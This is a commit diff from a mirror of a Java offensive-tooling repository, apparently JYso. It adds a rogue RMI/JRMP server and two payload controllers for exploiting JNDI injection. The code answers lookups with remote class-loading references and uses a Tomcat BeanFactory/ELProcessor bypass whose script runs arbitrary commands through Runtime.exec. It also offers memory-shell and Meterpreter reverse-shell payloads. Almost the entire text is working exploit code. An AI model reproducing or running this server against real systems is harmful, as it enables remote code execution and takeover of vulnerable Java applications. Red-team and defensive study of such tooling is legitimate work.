mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-21 22:40:43 +08:00
fix: RMI重构修复,已经可用
This commit is contained in:
@@ -0,0 +1,323 @@
|
|||||||
|
package com.qi4l.JYso;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.controllers.rmi.Basic;
|
||||||
|
import com.qi4l.JYso.controllers.rmi.ELProcessor;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import com.sun.jndi.rmi.registry.ReferenceWrapper;
|
||||||
|
import org.apache.naming.ResourceRef;
|
||||||
|
import org.fusesource.jansi.Ansi;
|
||||||
|
import sun.rmi.server.UnicastServerRef;
|
||||||
|
import sun.rmi.transport.TransportConstants;
|
||||||
|
|
||||||
|
import javax.naming.Reference;
|
||||||
|
import javax.net.ServerSocketFactory;
|
||||||
|
import java.io.BufferedInputStream;
|
||||||
|
import java.io.BufferedOutputStream;
|
||||||
|
import java.io.DataInputStream;
|
||||||
|
import java.io.DataOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.io.ObjectInputStream;
|
||||||
|
import java.io.ObjectOutputStream;
|
||||||
|
import java.io.ObjectStreamClass;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.net.InetSocketAddress;
|
||||||
|
import java.net.ServerSocket;
|
||||||
|
import java.net.Socket;
|
||||||
|
import java.net.SocketException;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLClassLoader;
|
||||||
|
import java.rmi.MarshalException;
|
||||||
|
import java.rmi.server.ObjID;
|
||||||
|
import java.rmi.server.RemoteObject;
|
||||||
|
import java.rmi.server.UID;
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.Locale;
|
||||||
|
|
||||||
|
import static com.qi4l.JYso.gadgets.Config.Config.codeBase;
|
||||||
|
import static com.qi4l.JYso.gadgets.Config.Config.httpPort;
|
||||||
|
import static com.qi4l.JYso.gadgets.Config.Config.ip;
|
||||||
|
import static com.qi4l.JYso.gadgets.Config.Config.rmiPort;
|
||||||
|
import static org.fusesource.jansi.Ansi.ansi;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Minimal JRMP listener used by JNDI/RMI lookup.
|
||||||
|
* Supports:
|
||||||
|
* 1) /basic/... and /ELProcessor/... (legacy route compatibility)
|
||||||
|
* 2) /remote/{fully.qualified.ClassName} (remote class loading)
|
||||||
|
* 3) /local/{fully.qualified.ClassName} (local class loading)
|
||||||
|
*/
|
||||||
|
@SuppressWarnings("restriction")
|
||||||
|
public class RMIServer implements Runnable {
|
||||||
|
|
||||||
|
private final ServerSocket ss;
|
||||||
|
private final Object waitLock = new Object();
|
||||||
|
private final URL classpathUrl;
|
||||||
|
private boolean exit;
|
||||||
|
|
||||||
|
public RMIServer(int port, URL classpathUrl) throws IOException {
|
||||||
|
this.classpathUrl = classpathUrl;
|
||||||
|
this.ss = ServerSocketFactory.getDefault().createServerSocket(port);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void start() {
|
||||||
|
String url = (codeBase == null || codeBase.isEmpty()) ? "http://" + ip + ":" + httpPort + "/" : codeBase;
|
||||||
|
|
||||||
|
try {
|
||||||
|
System.out.println(ansi().render("@|green [+]|@ RMI Server Start Listening on >> " + rmiPort + "..."));
|
||||||
|
RMIServer c = new RMIServer(rmiPort, new URL(url));
|
||||||
|
c.run();
|
||||||
|
} catch (Exception e) {
|
||||||
|
System.err.println("Listener error");
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void handleDGC(ObjectInputStream ois) throws IOException, ClassNotFoundException {
|
||||||
|
ois.readInt(); // method
|
||||||
|
ois.readLong(); // hash
|
||||||
|
System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
|
||||||
|
}
|
||||||
|
|
||||||
|
public void close() {
|
||||||
|
this.exit = true;
|
||||||
|
try {
|
||||||
|
this.ss.close();
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
}
|
||||||
|
synchronized (this.waitLock) {
|
||||||
|
this.waitLock.notify();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void run() {
|
||||||
|
try {
|
||||||
|
Socket s = null;
|
||||||
|
try {
|
||||||
|
while (!this.exit && (s = this.ss.accept()) != null) {
|
||||||
|
try {
|
||||||
|
s.setSoTimeout(5000);
|
||||||
|
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
|
||||||
|
|
||||||
|
InputStream is = s.getInputStream();
|
||||||
|
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
|
||||||
|
bufIn.mark(4);
|
||||||
|
|
||||||
|
try (DataInputStream in = new DataInputStream(bufIn)) {
|
||||||
|
int magic = in.readInt();
|
||||||
|
short version = in.readShort();
|
||||||
|
if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
|
||||||
|
s.close();
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
OutputStream sockOut = s.getOutputStream();
|
||||||
|
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
|
||||||
|
try (DataOutputStream out = new DataOutputStream(bufOut)) {
|
||||||
|
byte protocol = in.readByte();
|
||||||
|
switch (protocol) {
|
||||||
|
case TransportConstants.StreamProtocol:
|
||||||
|
out.writeByte(TransportConstants.ProtocolAck);
|
||||||
|
if (remote.getHostName() != null) {
|
||||||
|
out.writeUTF(remote.getHostName());
|
||||||
|
} else {
|
||||||
|
out.writeUTF(remote.getAddress().toString());
|
||||||
|
}
|
||||||
|
out.writeInt(remote.getPort());
|
||||||
|
out.flush();
|
||||||
|
in.readUTF();
|
||||||
|
in.readInt();
|
||||||
|
case TransportConstants.SingleOpProtocol:
|
||||||
|
doMessage(s, in, out);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
case TransportConstants.MultiplexProtocol:
|
||||||
|
System.err.println("Unsupported protocol");
|
||||||
|
s.close();
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
bufOut.flush();
|
||||||
|
out.flush();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (InterruptedException e) {
|
||||||
|
return;
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
} finally {
|
||||||
|
System.out.println(Ansi.ansi().fgRgb(255, 165, 0).a(" Closing connection").reset());
|
||||||
|
if (s != null) {
|
||||||
|
s.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} finally {
|
||||||
|
if (s != null) {
|
||||||
|
s.close();
|
||||||
|
}
|
||||||
|
if (this.ss != null) {
|
||||||
|
this.ss.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (SocketException ignored) {
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void doMessage(Socket s, DataInputStream in, DataOutputStream out) throws Exception {
|
||||||
|
int op = in.read();
|
||||||
|
|
||||||
|
switch (op) {
|
||||||
|
case TransportConstants.Call:
|
||||||
|
doCall(in, out);
|
||||||
|
break;
|
||||||
|
case TransportConstants.Ping:
|
||||||
|
out.writeByte(TransportConstants.PingAck);
|
||||||
|
break;
|
||||||
|
case TransportConstants.DGCAck:
|
||||||
|
UID.read(in);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
throw new IOException("RMI server cannot recognize operation: " + op);
|
||||||
|
}
|
||||||
|
|
||||||
|
s.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void doCall(DataInputStream in, DataOutputStream out) throws Exception {
|
||||||
|
ObjectInputStream ois = new ObjectInputStream(in) {
|
||||||
|
@Override
|
||||||
|
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
|
||||||
|
if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
|
||||||
|
return ObjID[].class;
|
||||||
|
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
|
||||||
|
return ObjID.class;
|
||||||
|
} else if ("java.rmi.server.UID".equals(desc.getName())) {
|
||||||
|
return UID.class;
|
||||||
|
} else if ("java.lang.String".equals(desc.getName())) {
|
||||||
|
return String.class;
|
||||||
|
}
|
||||||
|
throw new IOException("RMI server cannot deserialize this type");
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
ObjID read;
|
||||||
|
try {
|
||||||
|
read = ObjID.read(ois);
|
||||||
|
} catch (IOException e) {
|
||||||
|
throw new MarshalException("RMI server cannot read ObjID", e);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (read.hashCode() == 2) {
|
||||||
|
handleDGC(ois);
|
||||||
|
} else if (read.hashCode() == 0) {
|
||||||
|
if (handleRMI(ois, out)) {
|
||||||
|
synchronized (this.waitLock) {
|
||||||
|
this.waitLock.notifyAll();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean handleRMI(ObjectInputStream ois, DataOutputStream out) throws Exception {
|
||||||
|
int method = ois.readInt();
|
||||||
|
ois.readLong();
|
||||||
|
|
||||||
|
if (method != 2) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
String object = ((String) ois.readObject()).replace('\\', '/');
|
||||||
|
if (object.startsWith("/")) {
|
||||||
|
object = object.substring(1);
|
||||||
|
}
|
||||||
|
String objectLower = object.toLowerCase(Locale.ROOT);
|
||||||
|
|
||||||
|
out.writeByte(TransportConstants.Return);
|
||||||
|
try (ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl)) {
|
||||||
|
oos.writeByte(TransportConstants.NormalReturn);
|
||||||
|
new UID().write(oos);
|
||||||
|
|
||||||
|
ReferenceWrapper rw = null;
|
||||||
|
if (objectLower.startsWith("elprocessor")) {
|
||||||
|
ResourceRef result = ELProcessor.refTomcatBypass(object);
|
||||||
|
rw = new ReferenceWrapper(result);
|
||||||
|
} else if (objectLower.startsWith("basic")) {
|
||||||
|
Reference result = Basic.basic(object);
|
||||||
|
rw = wrapReference(result);
|
||||||
|
} else if (objectLower.startsWith("remote/")) {
|
||||||
|
String className = normalizeClassName(object.substring("remote/".length()));
|
||||||
|
Reference result = new Reference("Foo", className, codeBase);
|
||||||
|
System.out.println(ansi().fgBrightBlue().a(" [RMI] remote class loading -> " + className).reset());
|
||||||
|
rw = wrapReference(result);
|
||||||
|
} else if (objectLower.startsWith("local/")) {
|
||||||
|
String className = normalizeClassName(object.substring("local/".length()));
|
||||||
|
Reference result = new Reference("Foo", className, null);
|
||||||
|
System.out.println(ansi().fgBrightBlue().a(" [RMI] local class loading -> " + className).reset());
|
||||||
|
rw = wrapReference(result);
|
||||||
|
} else {
|
||||||
|
System.out.println(ansi().fgBrightRed().a(" [RMI] unsupported lookup path: " + object).reset());
|
||||||
|
}
|
||||||
|
|
||||||
|
if (rw == null) {
|
||||||
|
oos.writeObject(null);
|
||||||
|
oos.flush();
|
||||||
|
out.flush();
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
java.lang.reflect.Field refF = RemoteObject.class.getDeclaredField("ref");
|
||||||
|
refF.setAccessible(true);
|
||||||
|
refF.set(rw, new UnicastServerRef(12345));
|
||||||
|
|
||||||
|
oos.writeObject(rw);
|
||||||
|
oos.flush();
|
||||||
|
out.flush();
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
private ReferenceWrapper wrapReference(Reference reference) throws Exception {
|
||||||
|
ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
|
||||||
|
Reflections.setFieldValue(rw, "wrappee", reference);
|
||||||
|
return rw;
|
||||||
|
}
|
||||||
|
|
||||||
|
private String normalizeClassName(String classPathLikeName) {
|
||||||
|
return classPathLikeName.replace('/', '.').trim();
|
||||||
|
}
|
||||||
|
|
||||||
|
static final class MarshalOutputStream extends ObjectOutputStream {
|
||||||
|
|
||||||
|
private final URL sendUrl;
|
||||||
|
|
||||||
|
MarshalOutputStream(OutputStream out, URL u) throws IOException {
|
||||||
|
super(out);
|
||||||
|
this.sendUrl = u;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void annotateClass(Class<?> cl) throws IOException {
|
||||||
|
if (this.sendUrl != null) {
|
||||||
|
writeObject(this.sendUrl.toString());
|
||||||
|
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
|
||||||
|
writeObject(null);
|
||||||
|
} else {
|
||||||
|
URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
|
||||||
|
StringBuilder cb = new StringBuilder();
|
||||||
|
for (URL u : us) {
|
||||||
|
cb.append(u.toString());
|
||||||
|
}
|
||||||
|
writeObject(cb.toString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void annotateProxyClass(Class<?> cl) throws IOException {
|
||||||
|
annotateClass(cl);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,135 @@
|
|||||||
|
package com.qi4l.JYso.controllers.rmi;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||||
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
|
import com.qi4l.JYso.gadgets.Config.Config;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
|
||||||
|
import com.qi4l.JYso.template.Meterpreter;
|
||||||
|
import org.fusesource.jansi.Ansi;
|
||||||
|
|
||||||
|
import javax.naming.Reference;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.util.Locale;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Build remote-loading Reference for RMI lookup path:
|
||||||
|
* basic/{payload}/{gadget}/{arg}
|
||||||
|
*/
|
||||||
|
public class Basic {
|
||||||
|
private static String payloadType;
|
||||||
|
private static String[] params = new String[0];
|
||||||
|
private static GadgetType gadgetType;
|
||||||
|
|
||||||
|
public static Reference basic(String base) throws Exception {
|
||||||
|
parse(base);
|
||||||
|
|
||||||
|
String className;
|
||||||
|
if (payloadType.contains("E-")) {
|
||||||
|
String simpleName = suffixAfterDash(payloadType);
|
||||||
|
Class<?> echoClass = Class.forName(ClassNameHandler.searchClassByName(simpleName));
|
||||||
|
className = echoClass.getName();
|
||||||
|
} else if (payloadType.contains("M-")) {
|
||||||
|
className = Gadgets.createClassB(suffixAfterDash(payloadType));
|
||||||
|
} else if (payloadType.contains("command")) {
|
||||||
|
if (params.length == 0) {
|
||||||
|
throw new IncorrectParamsException("Missing command parameters.");
|
||||||
|
}
|
||||||
|
className = Gadgets.createClassB(params[0]);
|
||||||
|
} else if (payloadType.contains("msf")) {
|
||||||
|
className = Meterpreter.class.getName();
|
||||||
|
} else {
|
||||||
|
throw new UnSupportedPayloadTypeException("Unsupported payload flag: " + payloadType);
|
||||||
|
}
|
||||||
|
|
||||||
|
URL targetUrl = new URL(new URL(Config.codeBase), className.replace('.', '/') + ".class");
|
||||||
|
System.out.println(Ansi.ansi().fgBrightBlue().a(" redirecting to " + targetUrl).reset());
|
||||||
|
|
||||||
|
return new Reference("Foo", className, Config.codeBase);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void parse(String base) throws Exception {
|
||||||
|
System.out.println("- JNDI RMI Remote Reference Links ");
|
||||||
|
try {
|
||||||
|
String normalized = base.replace('\\', '/');
|
||||||
|
payloadType = segment(normalized, 1);
|
||||||
|
if (payloadType.isEmpty()) {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
|
||||||
|
}
|
||||||
|
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
|
||||||
|
|
||||||
|
gadgetType = parseGadgetType(normalized);
|
||||||
|
params = resolveParams(normalized);
|
||||||
|
} catch (Exception e) {
|
||||||
|
if (e instanceof UnSupportedPayloadTypeException) {
|
||||||
|
throw (UnSupportedPayloadTypeException) e;
|
||||||
|
}
|
||||||
|
throw new IncorrectParamsException("Incorrect params >> " + base);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
|
||||||
|
String segment = segment(base, 2);
|
||||||
|
if (segment.isEmpty()) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
|
||||||
|
} catch (IllegalArgumentException ignored) {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String[] resolveParams(String base) throws Exception {
|
||||||
|
if (gadgetType == null) {
|
||||||
|
return new String[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
switch (gadgetType) {
|
||||||
|
case base64:
|
||||||
|
String cmd = Utils.getCmdFromBase(base);
|
||||||
|
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||||
|
return new String[]{cmd};
|
||||||
|
case shell:
|
||||||
|
String encoded = Utils.getCmdFromBase(base);
|
||||||
|
String decoded = Utils.base64Decode(encoded);
|
||||||
|
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + decoded).reset());
|
||||||
|
return decoded.split(" ");
|
||||||
|
case msf:
|
||||||
|
String[] results = Utils.getIPAndPortFromBase(base);
|
||||||
|
Config.rhost = results[0];
|
||||||
|
Config.rport = results[1];
|
||||||
|
System.out.println(" RemoteHost: " + results[0]);
|
||||||
|
System.out.println(" RemotePort: " + results[1]);
|
||||||
|
return results;
|
||||||
|
default:
|
||||||
|
return new String[0];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String segment(String base, int index) {
|
||||||
|
int cursor = 0;
|
||||||
|
int found = 0;
|
||||||
|
while (cursor < base.length()) {
|
||||||
|
int nextSlash = base.indexOf('/', cursor);
|
||||||
|
if (nextSlash == -1) {
|
||||||
|
nextSlash = base.length();
|
||||||
|
}
|
||||||
|
if (nextSlash > cursor) {
|
||||||
|
if (found == index) {
|
||||||
|
return base.substring(cursor, nextSlash);
|
||||||
|
}
|
||||||
|
found++;
|
||||||
|
}
|
||||||
|
cursor = nextSlash + 1;
|
||||||
|
}
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String suffixAfterDash(String value) {
|
||||||
|
int dashIndex = value.indexOf('-');
|
||||||
|
return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,167 @@
|
|||||||
|
package com.qi4l.JYso.controllers.rmi;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||||
|
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||||
|
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||||
|
import com.qi4l.JYso.gadgets.Config.Config;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.InjShell;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
|
||||||
|
import com.qi4l.JYso.template.Meterpreter;
|
||||||
|
import org.apache.naming.ResourceRef;
|
||||||
|
import org.fusesource.jansi.Ansi;
|
||||||
|
|
||||||
|
import javax.naming.StringRefAddr;
|
||||||
|
import java.util.Locale;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Build local-loading ResourceRef for RMI lookup path:
|
||||||
|
* ELProcessor/{payload}/{gadget}/{arg}
|
||||||
|
*/
|
||||||
|
public class ELProcessor {
|
||||||
|
private static final String SCRIPT_TEMPLATE = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\")"
|
||||||
|
+ ".newInstance().getEngineByName(\"JavaScript\")"
|
||||||
|
+ ".eval(\"%s\")}";
|
||||||
|
|
||||||
|
private static String payloadType;
|
||||||
|
private static String[] params = new String[0];
|
||||||
|
private static GadgetType gadgetType;
|
||||||
|
|
||||||
|
public static ResourceRef refTomcatBypass(String base) throws Exception {
|
||||||
|
parse(base);
|
||||||
|
|
||||||
|
ResourceRef ref = new ResourceRef(
|
||||||
|
"javax.el.ELProcessor",
|
||||||
|
null,
|
||||||
|
"",
|
||||||
|
"",
|
||||||
|
true,
|
||||||
|
"org.apache.naming.factory.BeanFactory",
|
||||||
|
null
|
||||||
|
);
|
||||||
|
ref.add(new StringRefAddr("forceString", "x=eval"));
|
||||||
|
ref.add(new StringRefAddr("x", buildPayloadScript()));
|
||||||
|
return ref;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void parse(String base) {
|
||||||
|
System.out.println("- JNDI RMI Local Reference Links + ELProcessor");
|
||||||
|
try {
|
||||||
|
String normalized = base.replace('\\', '/');
|
||||||
|
payloadType = segment(normalized, 1);
|
||||||
|
if (payloadType.isEmpty()) {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
|
||||||
|
}
|
||||||
|
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
|
||||||
|
|
||||||
|
gadgetType = parseGadgetType(normalized);
|
||||||
|
params = resolveParams(normalized);
|
||||||
|
} catch (Exception e) {
|
||||||
|
if (e instanceof UnSupportedPayloadTypeException) {
|
||||||
|
throw (UnSupportedPayloadTypeException) e;
|
||||||
|
}
|
||||||
|
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String buildPayloadScript() throws Exception {
|
||||||
|
String scriptBody;
|
||||||
|
if (payloadType.contains("E-")) {
|
||||||
|
String simpleName = suffixAfterDash(payloadType);
|
||||||
|
Class<?> echoClass = Class.forName(ClassNameHandler.searchClassByName(simpleName));
|
||||||
|
scriptBody = InjShell.injectClass(echoClass);
|
||||||
|
} else if (payloadType.contains("M-")) {
|
||||||
|
scriptBody = Gadgets.createClassT(suffixAfterDash(payloadType));
|
||||||
|
} else if (payloadType.contains("command")) {
|
||||||
|
if (params.length == 0) {
|
||||||
|
throw new IncorrectParamsException("Missing command parameters.");
|
||||||
|
}
|
||||||
|
scriptBody = getExecCode(params[0]);
|
||||||
|
} else if (payloadType.contains("msf")) {
|
||||||
|
scriptBody = InjShell.injectClass(Meterpreter.class);
|
||||||
|
} else {
|
||||||
|
throw new UnSupportedPayloadTypeException("Unsupported payload flag: " + payloadType);
|
||||||
|
}
|
||||||
|
|
||||||
|
return String.format(SCRIPT_TEMPLATE, scriptBody.replace("\"", "\\\""));
|
||||||
|
}
|
||||||
|
|
||||||
|
private static GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
|
||||||
|
String segment = segment(base, 2);
|
||||||
|
if (segment.isEmpty()) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
|
||||||
|
} catch (IllegalArgumentException ignored) {
|
||||||
|
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String[] resolveParams(String base) throws Exception {
|
||||||
|
if (gadgetType == null) {
|
||||||
|
return new String[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
switch (gadgetType) {
|
||||||
|
case base64:
|
||||||
|
String cmd = Utils.getCmdFromBase(base);
|
||||||
|
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||||
|
return new String[]{cmd};
|
||||||
|
case shell:
|
||||||
|
String encoded = Utils.getCmdFromBase(base);
|
||||||
|
String decoded = Utils.base64Decode(encoded);
|
||||||
|
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + decoded).reset());
|
||||||
|
return decoded.split(" ");
|
||||||
|
case msf:
|
||||||
|
String[] results = Utils.getIPAndPortFromBase(base);
|
||||||
|
Config.rhost = results[0];
|
||||||
|
Config.rport = results[1];
|
||||||
|
System.out.println(" RemoteHost: " + results[0]);
|
||||||
|
System.out.println(" RemotePort: " + results[1]);
|
||||||
|
return results;
|
||||||
|
default:
|
||||||
|
return new String[0];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String getExecCode(String cmd) {
|
||||||
|
return "var str_s=new Array(3);\n"
|
||||||
|
+ "if(java.io.File.separator.equals('/')){\n"
|
||||||
|
+ "str_s[0]='/bin/bash';\n"
|
||||||
|
+ "str_s[1]='-c';\n"
|
||||||
|
+ "str_s[2]='" + cmd + "';\n"
|
||||||
|
+ "}else{\n"
|
||||||
|
+ "str_s[0]='cmd';\n"
|
||||||
|
+ "str_s[1]='/C';\n"
|
||||||
|
+ "str_s[2]='" + cmd + "';\n"
|
||||||
|
+ "}\n"
|
||||||
|
+ "java.lang.Runtime.getRuntime().exec(str_s);";
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String segment(String base, int index) {
|
||||||
|
int cursor = 0;
|
||||||
|
int found = 0;
|
||||||
|
while (cursor < base.length()) {
|
||||||
|
int nextSlash = base.indexOf('/', cursor);
|
||||||
|
if (nextSlash == -1) {
|
||||||
|
nextSlash = base.length();
|
||||||
|
}
|
||||||
|
if (nextSlash > cursor) {
|
||||||
|
if (found == index) {
|
||||||
|
return base.substring(cursor, nextSlash);
|
||||||
|
}
|
||||||
|
found++;
|
||||||
|
}
|
||||||
|
cursor = nextSlash + 1;
|
||||||
|
}
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String suffixAfterDash(String value) {
|
||||||
|
int dashIndex = value.indexOf('-');
|
||||||
|
return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user